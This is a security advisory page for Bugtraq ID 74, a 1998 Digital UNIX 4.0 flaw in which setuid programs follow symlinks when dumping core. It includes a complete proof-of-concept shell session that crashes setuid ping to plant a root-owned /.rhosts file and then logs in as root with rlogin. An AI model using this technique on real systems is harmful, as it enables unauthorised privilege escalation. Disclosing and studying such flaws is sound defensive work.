Digital UNIX SUID/SGID Core File Vulnerability

BID:74

Info

Digital UNIX SUID/SGID Core File Vulnerability

Bugtraq ID: 74
Class: Unknown
CVE:
Remote: Unknown
Local: Unknown
Published: Apr 06 1998 12:00AM
Updated: Apr 06 1998 12:00AM
Credit: Made public by |-ru5ty- and [SoReN] in the BugTraq mailing list.
Vulnerable: Digital UNIX 4.0 D
Digital UNIX 4.0 B
Digital UNIX 4.0
Not Vulnerable:

Discussion

Digital UNIX SUID/SGID Core File Vulnerability

Digital UNIX 4.0 will follow symlinks while writting core files if two
setuid programs dump core in sucession. The core file is owned by root
but with the user's groud id. The core file permissions are 0600. This
can be used to create root owned file anywhere in the filesystem.

Exploit / POC

Digital UNIX SUID/SGID Core File Vulnerability

$ ls -l /.rhosts
/.rhosts not found
$ ls -l /usr/sbin/ping
-rwsr-xr-x 1 root bin 32768 Nov 16 1996 /usr/sbin/ping
$ ln -s /.rhosts core
$ IMP='
>+ +
>'
$ ping somehost &
[1] 1337
$ ping somehost &
[2] 31337
$ kill -11 31337
$ kill -11 1337
[1] Segmentation fault /usr/sbin/ping somehost (core dumped)
[2] +Segmentation fault /usr/sbin/ping somehost (core dumped)
$ ls -l /.rhosts
-rw------- 1 root system 385024 Mar 29 05:17 /.rhosts
##/.rhosts has been created....that's all.##
$ rlogin localhost -l root

Solution / Fix

Digital UNIX SUID/SGID Core File Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

References

Digital UNIX SUID/SGID Core File Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report